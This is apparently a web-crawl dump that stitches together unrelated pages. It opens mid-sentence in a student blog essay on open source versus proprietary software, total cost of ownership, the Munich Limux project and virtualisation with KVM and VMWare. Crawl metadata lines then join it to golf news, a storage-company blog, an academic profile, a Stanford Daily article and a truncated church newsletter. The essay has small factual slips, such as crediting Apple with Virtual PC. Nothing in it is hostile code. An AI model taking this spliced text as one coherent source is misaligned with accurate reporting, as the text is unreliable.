(Cisco, 2014) and VLAN Trunk Protocol (VTP) Open Source and Proprietary Technology Comparison It is perhaps not surprising that there is a diverse set of opinions on the subject of open source vs proprietary technology. Each has its proponents and its detractors, it is also not surprising that many of the proponents and detractors have vested interests. This is no more evident when discussing the Total Cost of Ownership (TCO) between a Microsoft Windows setup and a Linux setup. Red hat commissioned what they described as independent survey examining the TCO of RHEL and Windows Server IT infrastructure. They collected data from 21 companies they found that RHEL had a TOC that was 34% lower than that of an equivalent Windows Server set up. Included in the survey were more statistics that shed favourable light on RHEL. The survey found that compared to Windows server RHEL had 46% lower software costs, 41% lower staffing costs, and 64% less down time. (Redhat, 2013) Microsoft have themselves published papers pertaining to the TCO of running a Windows Server based domain. A 2006 paper published by the corporation, they mate reference to a survey carried out by the META group that had found “that higher staffing costs for Linux-based solutions offset any potential upfront savings in acquisition costs relative to Windows Server”. The paper follows the theme of asserting that Windows Server offers lower TCO than Linux equivalents and provides a better return on investment than Linux. (Microsoft, 2006) Finding non-partisan information can be difficult, for example a report by Vital Wave Consulting from 2008, found that Windows and Linux offer the same TCO in emerging markets, however Vital Wave Consulting were commissioned by Microsoft to investigate and report on the subject. (zdnet, 2008) Conversely a 2005 report commissioned by IBM put the TCO of a Linux server deployment at an estimated 40% less than that of Windows Server. At the time of the report IBM were involved in commercial tie ups with open source vendors such as Redhat and Novell. (PC Pro, 2014) The Harbin Institute of Technology, a research university based in Harbin, Weihai, Shenzhen, China published a paper in 2012 titled “Survey and comparison for Open and closed sources in cloud computing”, in this they concluded that in terms of cost open source technology offered better value, but that open source documentation is often inaccessible to novice users. (Nadir K.Salih, Tianyi Zang, 2012) TCO can be a major factor when a business is making decisions, this perhaps provides some basis as to why finding independent information is difficult. Other areas however have had more impartial research carried out on them. One of these areas is security. Mikko Hypponen an award winning security researcher gave an interview on cybercrime in 2010, he was asked to compare Open Source and proprietary software to which he replied “The truth is that pretty much nobody looks at source code and tries to find bugs. In that way, the ‘theory of many eyes’ doesn’t work.” he continued by stating that the big difference was that only the proprietary software vendor can fix bugs in their software, but open source software can be fixed by anyone, which in general allows for security holes to patched up quicker. (Technewsworld.com, 2014) In an in depth 2009 report on servers, infoworld suggested that the market was dividing into two distinct categories; Windows and Linux, it quoted Jim Zemlin, executive director of the Linux foundation as saying “The key here is that really Linux and Windows are moving away from the pack here and it’s becoming a two-horse race”. The article also suggests that heterogeneous infrastructure was becoming standard, citing Red Hat marketing director Nick Carr who states that Windows based Exchange (Email), SQL, file and Print servers are common on RHEL infrastructure. Dr. Roy Schestowitz a proponent of Linux is also quoted as saying “Increasingly, such servers that run in mixed environments rely on virtualization”, this was in relation to Linux based networks running Windows based virtual machines. (Krill, 2014) An article published on business technology website Techradar Pro in 2014 by David Barker, technical director of 4D Data Centres, offered a balanced comparison between the two server platforms. The article puts forward that most system administrators are comfortable with both Windows and Linux and that deciding on what server OS to use is need specific. Barker suggests that the life cycle intended for server can be a critical factor, pointing out that Microsoft will end mainstream support for its Windows Server 2008 product. He goes on by stating that if the server is on physical hardware it is likely that it would need to preplaced in this time frame anyway. Barker echoes Dr. Schestowitz’s statement about virtualisation allowing for a heterogeneous network environments by pointing out that Microsoft has partnered with open source organisation to enable hyper-V management of open source nodes. Barker also echoes Red Hats Nick Carr Linux systems can co-exist with Microsoft systems. (Barker, 2014) End Users and Changing Technology An end user can be defined as any human that uses a computer, end users can range from system administrators to the office typists. Each user has a set of requirements and it is the job of ICT to meet these needs, however these needs must be met within the requirements of the organisation and budgetary restrictions. (Corbett et al., 2013) An organisation may choose to change its base technology for a number of reasons, for example it may decide to go open source and replace proprietary technology, as the City of Munich did, in a project called Limux. (Linuxjournal.com, 2015) Peter Hoffman who led the City of Munich’s Limux project to switch to open source technology stated that the main reasons for the switch was to save money and halt the ever increasing lock in to Microsoft products. (Kent, 2013) One issue that was never explicitly stated in the Limux project was the end user experience. Users were considered in the project plan, but only in calculations for retraining staff and cost of technical support staff. (Saunders, 2014) A 2014 report by Nick Heath of Tech Republic suggest that Limux end user dissatisfaction with the changes from a Windows based OS to a Linux based OS may have triggered a review of the project, this was denied by the Munich City Council, although council spokesperson Stefan Hauf did concede that there has been negative feedback on certain aspects of the change to open source. Hauf stated that “the primary gripe being a lack of compatibility between the odt document format used in OpenOffice and software used by external organisations. Munich had been hoping to ease some of these problems by moving all its OpenOffice users to LibreOffice”, (Heath, 2014) this compatibility issue appears on the face of it to be symptom of the vendor lock in the project was attempting to rid itself of. What must not be over looked is the disgruntlement of the end user. This could lead to frustration and discourage end users to embrace the new technology. The Practice of System Administration published by Addison Wesley in 2007 asserts that ICT is there to serve the needs of end users. ICT exists because of users and not vice versa. It tempers this somewhat by going on to assert that the ‘customer is always right’ attitude is also not correct. The book proposes that System administrators must view end users as ‘business partners’ consulting them on any change that may be proposed before proceeding with it. With administrators and users working together the needs of the organisation and the end users are best met. (Limoncelli, Hogan and Chalup, 2007) Award winning magazine NAWIC published an article by Fred Ode the founder and CEO of Foundation Software. The article included five tips to avoid end user rejection of new technology. This supported The Practice of System Administrations assertion that users must be included in the process. It also proposed that a number of factors relating directly to the end user should be considered when implementing change of the ICT infrastructure, these suggestions included; considering the skill level of the end users and providing appropriate training to end users. Ode suggests that the majority of users are in general resistant to change, with a small number being open to change, ode says “The key is to identify innovators and early adopters and get them involved in the training process, so they can help excite and educate other users”. (F, Ode. 2008) Virtualisation is the creation in software of a simulation of a range of computing resources either in part or in whole. This simulation can virtualise both hardware and software. (Servervirtualization., 2014) The origins of virtualisation date back to the late 1960’s. IBM multiuser mainframes employed virtualisation techniques on memory. This was to allow for the efficient use of resources of the mainframe when running multiple simultaneous users. (Docs.oracle.com, 2014) Over the next 30 years development of technologies including virtual memory, hypervisors and application virtualisation were invented and/or refined. (Everythingvm.com, 2014) A paper published in 1974 by Gerald J. Popek and Robert P. Goldberg entitled Formal Requirements for Virtualizable Third Generation Architectures laid out a method to ascertain if a (third generation) system architecture was capable of virtualisation. The paper described various VM concepts, which they describe as “an efficient, isolated duplicate of a real machine.” (Popek and Goldberg, 1974) The methods described in the paper can still be used as a guideline for virtualisation requirements. Prof. Douglas Thain of the University of Notre Dame, Indiana USA, described the paper as “the most important result in computer science ever to be persistently ignored”. Prof. Douglas breaks the paper down into two basic principles, a sensitive instruction and the privileges instruction. (Thain, 2010) The Popek and Goldberg paper describes what it terms as a Virtual Machine Monitor (VMM), VMM’s are now more commonly known as Hypervisors. Hypervisors can be categorised into two broad categories, type 1 and type 2. (Popek and Goldberg, 1974) (Portnoy, 2012) Type 1: Also known as Bare Metal and Native. Type 1 hypervisors are installed directly onto the underlying hardware. A basic micro-kernel usually sits below the hypervisor to interact with the physical hardware. The type 1 hypervisor manages and abstracts all hardware from the overlaying virtualised systems. Type 2: Type 2 hypervisors are installed on to a conventional host OS as a program. Type 2 hypervisors are generally not used in scalable enterprise environments. (Portnoy, 2012) In the late 1990’s, VMWare’s Dan Wire described “a revolution with virtualization”. What Dan was referring to was the founding in 1998 of VMWare, and the release of VMWare workstation. (Wire, D. 2013) VMWare workstation allowed for the running of a Virtual Machines (VM), a virtualised PC and OS running inside and using the resources of a physical host PC. VMWare workstation was not the first product to market to allow for this, Apple had implemented a similar system with Virtual PC, but VMWare Workstation was the first major commercially available product of this type. (Everythingvm.com, 2014) As of 2015 VMWare are the industry leader in enterprise virtualisation solutions. (VMWare, 2015) VMWare’s main enterprise virtualisation product range is called vSphere. vSphere is a collection of components that form a complete virtualisation platform, allowing for the creation of and management of VM’s. The vSphere range of products are available in 3 tiers, with each preceding tier having less functionality. (VMWare, 2015) VMWare have a number of competitors, Microsoft have a similar product range that is tightly integrated with their Windows Server products called Hyper-V. (Finn, 2013) Citrix have a range of products based around the open source Xen hypervisor. (Citrix.com, 2015) These are just two examples of competing enterprise class hypervisor products that position themselves in the same market segment as VMWare’s vSphere. (Paul, 2014) The open source project KVM (Kernel-based Virtual Machine), is a free hypervisor that can form the basis of full virtualisation platform running on a Linux based system. KVM was originally developed by Qumranet who were taken over by Red Hat, Red Hat now oversee the project. (Linux-kvm.org, 2015) KVM is a Linux kernel module that converts the system into a type 1 hypervisor. (IBM. 2015) This module was integrated into the mainline Linux Kernel in 2007, its ability to support virtualisation is depended on compatible virtualisation extensions being present on the host CPU. (Linux-kvm.org, 2015) KVM can be combined with other open source projects, such as QEMU which provides device emulation and user-space functionality and libvirt an API which provides a variety of tools such as management interfaces. (Libvirt.org, 2015) Together a feature rich and efficient virtualization platform is formed. KVM and VMWare are two very different propositions, VMWare fits the definition of a traditional type 1 hypervisor, KVM redefines this slightly with its integration directly into the host OS Kernel. (Linux-kvm.org, 2015) Both offer a complete suite of enterprise level functionality, but achieve their end goal in a different manner. VMWare is a homogeneous system, each component is designed to work seamless with the rest of the platform. The disadvantage of VMWare is cost, functionality comes at a price. (Vmware.com, 2015) KVM when combined with QEMU and libvirt is heterogeneous, a wide variety of features can be installed and configured as and when needed at no cost. It may not always be the case that each feature has been fully tested or is stable when integrated to the platform. Supporting the platform may require specialists or support contracts which could mitigate against the zero cost benefits of the software. (Redhat.com, 2014) Active Directorycomputer networkingGNUKVMLinus TorvaldsLinuxNetwork SecuritynetworkingQEMUred hat linuxRichard StallmanTCPunixVMWare Fedora 22 Released May 26, 2015 Thomas Leave a comment Fedora’s relentless release schedule continues unabated with the release of fedora 22. Some new features and improvements are; a new notification system courtesy of an updated gnome DE, general GUI improvements and new and updated gnome apps. The server edition has new support for the container system docker with a collection of new images and cockpit gets cross version support providing all your management needs direct from the comfort of your web browser! I haven’t tried personally yet, I’m loving fedora’s little cousin CentOS 7 at the moment and have just got my machine just the way I want it after days weeks of tinkering, so I am not quite ready to switch up my distro just yet! I’m in the process of building a live pen at the moment and I am looking forward to trying out some of the new and/or improved stuff. Click here for full details on what is new. 22fedoraLinuxred hat linux General, Linux, UNIX, Windows Proprietary vs Open Source Network Software March 9, 2015 Thomas Leave a comment I am currently working on a project investigating replacing proprietary technology with open source technology, the project is about 50% complete at the moment. I presented my initial findings earlier this week, I’m happy to say that they were well received. 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__label__wiki	0.845623	0.845623	Northern Golf Links Other fixtures « Kenwright blitzes Mere record Doherty’s back in the driving seat » Cheshire’s Elaine Ratcliffe appointed captain of GB&I Curtis Cup team Posted September 1, 2018 by David Birtill in Amateur Golf, Cheshire Golf, County Golf, England Golf, Other News, Women's Golf. Leave a Comment CHESHIRE’S Elaine Ratcliffe has been appointed captain of the Great Britain and Ireland Curtis Cup team for the 2020 match and will also lead the teams in the Vagliano Trophy and the Astor Trophy next year. Elaine, who hails from Sandbach, i enjoyed a distinguished amateur career as a player and won the Finnish Amateur Championship in 1997 and the English Amateur Championship the following year. She was a member of the GB&I team which defeated the United States 11½- 6½ in the 1996 Curtis Cup at Killarney and played for GB&I in the Vagliano Trophy against the Continent of Europe, who won the match 12½-11½ at Royal Aberdeen in 1997. Elaine also represented GB&I as a player in the Espirito Santo Trophy and England in the European Amateur Team Championships. After turning professional, she was named Rookie of the Year by the Ladies’ European Tour in 1999 but was reinstated as an amateur in 2008. She has since captained England in a number of international matches, including the Ladies Home Internationals and the European Amateur Team Championships, and has twice led the European team in the Patsy Hankins Trophy against Asia-Pacific. “It is a real honour to be appointed captain and I am looking forward to the challenge of preparing the team for the international matches,” she said Ratcliffe. “There are a number of amateur events to be played over the coming months and we will be monitoring the performances and results of golfers from Great Britain and Ireland to determine who has played their way into contention for team selection next year.” Maria Dunne has also been confirmed as GB&I captain for the Junior Vagliano Trophy match against the Continent of Europe at Royal St George’s in 2019. As a player, Dunne featured as a member of the Great Britain and Ireland team which beat the United States to win the Curtis Cup in 2016 at Dun Laoghaire and also played in the Vagliano Trophy against the Continent of Europe at Circolo Golf Bogogno last year. She represented Ireland in the Ladies Home Internationals and European Amateur Team Championships and won the 2017 Irish Open Stroke Play Championship. This year Dunne was appointed Women and Girls Development Co-ordinator in Ireland following funding provided to the Golf Union of Ireland and the Irish Ladies Golf Union by The R&A. Cheshire Golf County Golf County Golf Partnerships England Golf Lancashire Golf Manchester Alliance Manchester Golf Northern Merit fixtures Northern Order of Merit Open Golf PGA North Seniors' Golf Cheshire Union of Golf Clubs Golf in Ireland Lancashire Ladies CGA Lancashire Union of Golf Clubs Oak Royal Golf Club @JoshVosper We all miss you already Josh. 1 month ago @LindsayHoyle_MP @CharlesWalkerGB @marionfellows @tracey_crouch @MarshadeCordova @DavidCrausby @joanryanEnfield… twitter.com/i/web/status/1… 2 months ago @PGANorth @PleasingtonGolf @Jayhowarthgolf @ChorleyGolfClub @CGCSwingroom @ThePGA @pgcgolf Golf@birtill.demon.co.uk 7 months ago @chorleyfc Saddened to hear of the passing of Ken Wright senior. I will really miss a lovely man. 7 months ago Drive is on in Lancashire to encourage more women to play golf. northerngolflinks.com/2019/03/14/lan… 10 months ago Follow @DavidBirtill Amateur Golf Cheshire Golf County Golf County Golf Partnerships England Golf Golf travel Junior Golf Lancashire Golf Manchester Alliance Manchester Golf Northern Merit fixtures Northern Order of Merit Open Golf Other News PGA Golf PGA North Pro Golf Ryder Cup Seniors' Golf Women's Golf	cc/2020-05/en_middle_0032.json.gz/line8054
__label__cc	0.717176	0.282824	Seeking Inner Peace? This Workplace Principle Has A Place In The Home It’s axiomatic that an orderly workplace is a productive workplace. Distractions are minimized, efficiency is improved, and materials losses are reduced – storage professionals have preached this principle for years. But what if you applied a similar de-cluttering principle in your home? According to organizational expert Amy Zepeda, you’d find yourself feeling a lot less stressed: http://bit.ly/1lDCANN. Physical clutter leads to mental clutter as your mind creates associations and to-do lists. And the result: you can’t relax in your own home. Zepeda recommends starting small, and making it a habit to immediately get rid of things you no longer need. You’ll find your stress level drops dramatically! Photo © vetre – Fotolia.com Intelligent Forklifts – Are They Too Smart? The “Internet of Things,” in which all objects will be connected via sensors to a broad digital system, is still in its infancy. While robotic vacuum cleaners and exercise-monitoring clothes are fairly common, such things as self-driving cars are not quite rush-hour ready. However, RFID and on-board intelligence are being successfully combined to create intelligent forklifts for materials handling systems: http://bit.ly/1sr7wEM. Proponents point to cost savings gained through improved safety, greater efficiency, and better inventory control. Those of the Luddite persuasion, though, envision robots running amok through warehouses, ignoring RFID signals, destroying products and threatening the lives of their human bosses. But automation systems failures can usually be traced to human user error, or, more important, a poor choice of automation vendor. Cutting corners never pays, especially when it’s your inventory at stake. Thoroughly vet your vendors, and your warehouse won’t end up like “I, Robot.” Now how do I program my vacuum cleaner to do the stairs…? Photo © JRB – Fotolia.com Epic Fail – When An Office Renovation Ignored Document Storage Needs Although planning began back in 2008 for the renovation of the Marble Palace, as Augusta, Georgia’s, municipal building is known, the current execution of the design has left storage in a serious muddle. In a recent meeting with the project architects, Commission Clerk Lena Bonner asked, “Why is it that my storage space, my access to my records, has to be at four and five different places?” Commissioners voiced concerns about the security of records as well as the scattered placement of records storage, and pointed fingers at the local architect whose space plans seem to be creating more problems than solutions: http://bit.ly/1hIYlLr Sounds like a job for High-Density Storage Man…! Photo © mario beauregard – Fotolia.com When Assumptions Meet Reality: The Truth About High Density Storage Ugly, expensive, inefficient…that’s what people always assume about high-density storage systems. But after a closer look, they frequently quote the movie Casablanca: “I was misinformed.” Myth 1. It’s expensive REALITY – Do the math. High-density mobile storage, at $2-3 per storage inch, is actually cheaper than traditional lateral files at $5-6 per storage inch. Myths 2 & 3. It’s inefficient and restrictive REALITY – In an 18’x30’ space, a high-density mobile system increased storage capacity by a whopping 316%. And it’s not just for storing paper files; almost anything, from baseball bats to archaeological artifacts, can be shelved in high-density storage systems. Myth 4. It’s unsafe REALITY – It’s not just for the first floor any more. Thanks to good engineering, the floor rails of mobile storage systems spread the weight over a large area, making the systems safe for use on upper floors. Myth 5. It’s ugly REALITY – Today’s high-density mobile storage offers modern, clean lines and the ability to customize finishes to complement the highest of high style designs. Custom paint? Graphics? No problem! Welcome to the truth – and beauty – of high density storage. Statistics–J. Weber Photo © Andrey Kuzmin – Fotolia.com Vintage Police Photographs from the LAPD’s Storage Archives When Los Angeles Police Department reserve officer Merrick Morton and LAPD historian Lt. John Thomas began researching historic criminology photos, they didn’t expect to find a treasure trove of stunning black-and-white images dating back to the 1920’s, systematically stored in the vast 47,500 square foot Los Angeles City Records Center. The LAPD’s Special Investigations Division was the nation’s first crime lab – the precursor of CSI – and photography was a standard part of their forensics procedures as far back as 1925. Hundreds of boxes of case files, each with their accompanying evidence photos, were discovered in the Records Center, and Morton and Thomas have now preserved some of the best images as noir style art photos. Recording events ranging from the Onion Fields gangster killings to the arrest of the notorious Manson family, these photographs are considered to be exceptional examples of historical art. Selected examples were recently included in the prestigious Paris Photo exhibition, and prints can be seen at Morton’s gallery: http://www.fototeka.com/lapd/index.html. These extraordinary images could easily have been lost or destroyed if not for the efforts of Morton, Thomas, and the dedicated document storage pros of the L.A. City Records Center. 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__label__cc	0.570808	0.429192	Ana Catarina Abrantes Garcia Research Assistant, CHAM - Centro de Humanidades Eraly Modern Archaeology Ports and Harbours Studies Enviromental History PhD candidate In FCSH in History-Archaeology. Research Assistant and Researcher fellowship from CHAM to the he thematic line Environmental History and the Sea, in the projects“Ngulu-maza, iguaragua or cow-fish? Local and global natural knowledge productio and diffusion; practices and perceptions about marine animals and "History of Whaling n Portugal" Team member as researcher of the project CONCHA - Horizon 2020. MSCA-RISE 2017. “The construction of early modern global Cities and oceanic networks in the Atlantic: An approach via Ocean’s Cultural Heritage”, CHAM, FCSH-UNL, coordinator João Paulo Oliveira e Costa. 2018 – 2021. Team member of UNESCO Chair as researcher and manager of “THE UNESCO CHAIR “THE OCEAN’S CULTURAL HERITAGE”, held by UNL, launched in 2016 having as main research objectives, education and dissemination of tangible and intangible cultural and natural heritage of the sea, led by Professor João Paulo Oliveira e Costa from CHAM. Team member of the Projecto COST European Cooperation in Science & Technology – Oceans Past Platform (OPP), since March 2016, coordinator Poul Holm, from Trinity College. Dublin. The Governance of the Atlantic Ports 14th -21st centuries. International Research Group (Universidad Nacional de Educación a Distancia (UNED). STARACO – Research group related with issues of status, differences and colors on the historical construction of “races” and hierarchies in the Atlantic. University of Nante. BRASPOR Network (REDE BRASPOR), International research group with researcher from Brazil and Portugal related with Environmental history and Maritime landscapes. Um Navio Ibérico para o Atlântico: construção naval, vida a bordo e a - escala de Angra nos séculos XVI e XVII". Scientific coordinator of the recent projects: “The location of the Germain submarine U-581. Sunk in Pico during World War II”. Campo das Cebolas, Lisbon, Urban rehabilitation Project. (2016-2017). EMEL, Lisbon City Hall Project Insular and Atlantic History, Master, Universidade dos Açores 1 Oct 2006 → 27 Apr 2009 Direcção Regional da Cultura dos Açores 15 May 2001 → 25 Dec 2011 Instituto Português de Arqueologia. CNANS Fingerprint Dive into the research topics where Ana Catarina Abrantes Garcia is active. These topic labels come from the works of this person. Together they form a unique fingerprint. cultural heritage Earth & Environmental Sciences UNESCO Earth & Environmental Sciences literacy Earth & Environmental Sciences ocean Earth & Environmental Sciences history Earth & Environmental Sciences biodiversity Earth & Environmental Sciences social science and humanities Earth & Environmental Sciences fish Earth & Environmental Sciences 2 Commissioned report Are underwater archaeological parks good for fishes? Symbiotic relation between cultural heritage preservation and marine conservation in the Azores Abrantes Garcia, A. C. & Barreiros, J. P., 1 May 2018, In : Regional Studies in Marine Science. 21, p. 57-66 10 p. The Unesco chair on the ocean's cultural heritage: a brief note on oceanic history, science and literacy Brito, C., Carvalho, P. C. S. D., Abrantes Garcia, A. C., Vieira, N., Bettencourt, J. & Costa, J. P. O. E., 2018, Mares e Litorais: Perspetivas transdisciplinares. Roque, A. C., Paula, D. P. D., Dias, J. A., Gonçalves, L. A. A., Fonseca, L. C. D., Rodrigues, M. A. C., Júnior, R. E. P. V. & Pereira, S. D. (eds.). Rio de Janeiro: BRASPOR, p. 33-43 10 p. New ports of the New world: Angra, Funchal, Port Royal and Bridgetown Garcia, A. C., 2017, In : International Journal of Maritime History. 29, 1, p. 155-174 20 p. geographical factors Angra, An Atlantic Seaport in the Seventeenth Century Garcia, A. C., 2016, Seaports in First Global Age: Portuguese Agents Networks and Interactions (1500-1800). Polónia, A. & Antunes, C. (eds.). Porto: U.Porto Edicões, p. 59-72 13 p. (Estudos/ Ciências Sociais e Humanas 2). Angra, Funchal e Baía: Contributo para uma análise comparativa da génese dos novos portos Atlânticos do Império Português Garcia, A. C., 2016, Entre Rios e Mares: um Património de Ambientes, História e Saberes / Tomo V da Rede Braspor. Cancela, L., Garcia, A. C., Pereira, S. D. & Rodrigues, M. A. C. (eds.). Rio de Janeiro, p. 111-127 16 p. CONCHA - The construction of early modern global Cities and oceanic networks in the Atlantic: An approach via Ocean’s Cultural Heritage João Paulo Oliveira e Costa (Recipient), Cristina Maria Ribeiro da Silva Brito (Recipient), Patrícia Catarina Sanches de Carvalho (Recipient), José Bettencourt (Recipient), André Teixeira (Recipient), Carla Alferes Pinto (Recipient), Nina Vieira (Recipient), Ana Catarina Abrantes Garcia (Recipient) & Joana Baço (Recipient), 1 Jan 2018 MARINE LEXICON: Bilateral construction of a cross-European thesaurus about early modern marine mammals. Cristina Maria Ribeiro da Silva Brito (Recipient), Joana Baço (Recipient), Nina Vieira (Recipient), Patrícia Catarina Sanches de Carvalho (Recipient), Ana Catarina Garcia (Recipient) & Anne-Karin Huffthammer (Recipient), 15 Oct 2019 OPP - Oceans Past Platform Poul Holm (Recipient), Cristina Brito (Recipient), Nina Vieira (Recipient) & Ana Catarina Abrantes Garcia (Recipient), 2014 Ocean structures UNESCO Chair The Ocean's Cultural Heritage João Paulo Oliveira e Costa (Recipient), Cristina Maria Ribeiro da Silva Brito (Recipient), Patrícia Catarina Sanches de Carvalho (Recipient), Ana Catarina Abrantes Garcia (Recipient), Nina Vieira (Recipient), Carla Alferes Pinto (Recipient), José Bettencourt (Recipient), Joana Baço (Recipient), Isabel Gomes de Almeida (Recipient) & Maria de Fátima Rosa (Recipient), 2016 Workshop "Science Dissemination" Cristina Brito (Organiser), Joana Baço (Organiser), Nina Vieira (Organiser), Patrícia Catarina Sanches de Carvalho (Organiser), Ana Catarina Abrantes Garcia (Organiser) CONCHA 2nd Workshop "Seas, Peoples and Animals" Cristina Maria Ribeiro da Silva Brito (Organiser), Patrícia Catarina Sanches de Carvalho (Organiser), Nina Vieira (Organiser), Ana Catarina Garcia (Organiser), Joana Baço (Organiser) Primeira Jornada de Investigação do CHAM Roberta Giannubilo Stumpf (Organiser), Noemi Alfieri (Organiser), Nina Vieira (Organiser), Ana Catarina Garcia (Organiser) CONCHA 1st Workshop “Crossing seas, Rising islands, Connecting people” Cristina Brito (Organiser), Patrícia Catarina Sanches de Carvalho (Organiser), Nina Vieira (Organiser), Ana Catarina Abrantes Garcia (Organiser) III CHAM International conference Alice Caldeira Cabral Santiago Faria (Organiser), Ana Catarina Abrantes Garcia (Organiser), José António Bettencourt (Organiser), Cristina Brito (Organiser), Francisco Zamora Rodríguez (Organiser), Nunziatella Alessandrini (Organiser), Roberta Giannubilo Stumpf (Organiser) 12 Jul 2017 → 15 Jul 2017 Activity: Participating in or organising an event › Participation in conference Contact Ana Catarina Abrantes Garcia	cc/2020-05/en_middle_0032.json.gz/line8058
__label__wiki	0.916381	0.916381	Athletics Director Muir reports to Faculty Senate February 8, 2013 0 Comments Share Marshall Watkins By: Marshall Watkins The Faculty Senate heard reports on the University’s athletics program and the review process for undergraduate majors at its Thursday meeting. Director of Athletics Bernard Muir opened the session’s agenda by reviewing the first quarter of his tenure at the Department of Athletics, jesting that the process of integrating himself fully into the role was still ongoing. “I feel like some of our freshman athletes,” Muir said. “I’m not quite sure where to turn.” After recounting his own experience in collegiate athletics, including stints at Notre Dame, Butler, Auburn and the University of Delaware, Muir turned his attention to the current state of the athletics program and acknowledged the pressure on Stanford athletes and coaches to maintain consistent success. “At Stanford, the expectations are high,” Muir said. “Part of the job, as an athletics director, is to manage those expectations.” Muir framed the direction of the athletics program as overwhelmingly positive, citing the ongoing streak of 18 straight Directors’ Cups—awarded to the top all-around collegiate athletics program—as an enduring facet of Stanford athletics. “Coming out of the fall standings, we are ranked No. 1…I’m thrilled we have the opportunity to go after [No.] 19,” Muir said. An increasing number of accolades will also be matched by an increased number of sports next quarter, according to Muir, as sand volleyball becomes the University’s 36th varsity sport. Muir also emphasized the academic accomplishments of student-athletes, noting that Stanford’s athlete graduation rate has historically tracked closely to that of the Stanford student body and remained far above that of rival institutions. He acknowledged, however, that student-athletes occasionally struggle to integrate themselves fully into certain aspects of academic life such as introductory seminars. “We would love for our student-athletes to get more involved,” Muir said. “We are trying to promote that as best we can, but it does continue to be a challenge.” Muir identified a range of concerns facing the athletics program in the future such as the high growth rate of the program’s costs and the impact of media contracts on event scheduling. He also noted the challenge of recruiting athletes given Stanford’s academic requirements and recruits’ tendencies to commit to schools at earlier ages. Faculty questions focused on the role played by the athletics program within the University as a whole and the significance of Stanford’s athletic success for the University’s national profile. Tom Wasow, professor of linguistics, expressed concern about the broader professionalization of college sports, citing the rapid growth of athletics programs’ budgets and calling for increased transparency in athletic expenses. “[Professionalization] has led to an arms race in facilities and coaches’ salaries,” Wasow said. “We think there should be greater transparency,” Muir agreed. “This is something that other institutions are facing…that there should be a dialogue on where we’re investing.” Rob Reich M.A. ’98 Ph.D. ’98 emphasized the potential for the University to leverage the success of Stanford student-athletes into a national platform for advocating similar accomplishments. “We have a hell of a story,” Reich said. Following the discussion period, Wasow—who chairs the Committee on Committees—put forward minor changes to the responsibilities of the Committee on Review of Undergraduate Majors, including increased reliance on individual departments and schools to internally review majors offered. The Senate adopted the revised charter by voice vote after little discussion. The Senate will hear a report on the future of federal research support at Stanford at its next meeting on Feb. 21. Bernard Muir Faculty Senate Rob Reich 2013-02-08 Tagged with: Bernard Muir Faculty Senate Rob Reich About Marshall Watkins Marshall Watkins is a senior staff writer at The Stanford Daily, having previously worked as the paper's executive editor and as the managing editor of news. Marshall is a junior from London majoring in Economics, and can be reached at mtwatkins "at" stanford "dot" edu. Faculty Senate talks faculty diversity, approves postdoc involvement in Senate proceedings Debra Satz, philosopher and professor, named dean of School of Humanities Following fire hydrant break, water floods Santa Teresa New wing of Lucile Packard Children’s Hospital augments clinical scanning Stanford’s history with free speech Q&A: Robbie Barrat on training neural networks to create art ASSU Execs seek student input on selecting new Title IX Coordinator Tweets from https://twitter.com/StanfordDaily/stanford	cc/2020-05/en_middle_0032.json.gz/line8061
__label__cc	0.710859	0.289141	To subscribe to the e-Advocate and have it delivered to your e-mail address, free of charge, please send your name, address, and e-mail address to BrendaCapen@vaumc.org Please indicate in the subject "Subscribe to e-Advocate." Click here to sign up for RSS feed of e-Advocate. News from the Virginia Conference – Dec. 15, 2010 Conference invited to fast, pray Bishop Charlene Kammerer invites Virginia Conference United Methodists to join her in weekly fasting and prayer, through Dec. 31, to ask God to work within us for the future of the church. Bishop, Cabinet announce 16 districts Bishop Charlene Kammerer and the Cabinet have announced new boundaries, district names and local church district assignments that will reduce the number of districts in the Virginia Conference from 18 to 16, effective July 1. Three districts – Ashland, Portsmouth and Rappahannock – will be discontinued, and a new Fredericksburg District created. Three other district names will be new, all named for major waterways in the corresponding parts of the Commonwealth: James River District, Elizabeth River District and York River District. More ... 2010 Conference Journal now posted on Web site The 2010 Virginia Annual Conference Journal is now available on the conference Web site, www.vaumc.org. One printed copy will be mailed to each local church. One copy on a CD will be mailed to each active clergy, retired clergy and spouse of deceased clergy at no cost. Additional copies may be purchased at a cost of $10 for CD or $25 for print version by calling the Virginia Conference Communications office at (804) 521-1110 or 1-800-768-6040, ext. 110. Board of Discipleship offers wording for churches As we look toward the start of a new year, the Virginia Conference Board of Discipleship has prepared several paragraphs to be used in bulletins, newsletters or other church communications as a reminder of our commitment to prayer, fasting and discernment. The Board of Discipleship will be sending additional reminders throughout the remainder of the conference year. Click here for the insert for January. Emmanuel UMC, Amherst, named ‘Welcoming Congregation’ again Emmanuel United Methodist Church, Amherst, (Charlottesville District) has been recognized by United Methodist Communications (UMCom) as an official “Welcoming Congregation” for the second year. “Welcoming Congregations” are a select group of United Methodist congregations nationwide that meets criteria including embracing newcomers and providing opportunities in discipleship. The recognition program is part of a larger effort launched in late 2000 by UMCom, the denomination’s communications agency, to use modern technology and the common language of television to spread the Good News of Christ to a world in need. RethinkChurch.org launched as new seeker Web site On Dec. 15, The United Methodist Church launched a newly redesigned Web site for young adult spiritual seekers, RethinkChurch.org, which invites visitors to question, discuss, get involved and make a difference. Throughout December, advertising on cable networks (ABC Family, Comedy Central, Discovery and MTV) and multiple digital channels will direct viewers to the new site. Advertising messages are informed by research that says 18- to 34-year-olds desire to make a difference with their lives. Beginning Dec. 26, new commercials emphasize living more simply so that we may ultimately focus attention on the needs of others. The new RethinkChurch.org offers visitors an opportunity to read, watch, comment and interact on topics that are important both to them and to The United Methodist Church — from the environment, to global health, to disaster relief. RethinkChurch.org features more engagement capabilities and content offerings than its predecessor site, 10thousanddoors.org. Registering as a user is the first step to engage on the Web site. Users may then enhance their personal profiles by adding photos, videos, areas of interest and more. Once registered, a user may start or add to conversations. An interactive map connects seekers to a church in their area. The map allows users to search for a local church based upon parameters such as distance and ministry offerings or outreach programs that appeal to their particular interests, and provides additional information such as service and event schedules. They may also request a free Common English Bible (New Testament), written in easy-to-understand, everyday English. Virginia’s First Lady honors Society of St. Andrew At a recent luncheon in Richmond, Virginia’s First Lady Maureen McDonnell presented a special award to the Society of St. Andrew (SoSA) as part of her first-ever “First Lady’s Opportunity Hall of Fame Awards Luncheon” to recognize organizations and programs that embody the ideal of “getting involved and giving back.” SoSA Executive Director Mike Waldmann accepted, saying, “We appreciate the wonderful volunteers who gather in fields and orchards to glean produce that would otherwise go to waste.” Consider donation to Pathways as alternative Christmas gift If you are looking for the perfect last-minute gift for the person who has everything, consider a donation to Pathways in their honor. Click here to see seven symbolic "gifts" to choose 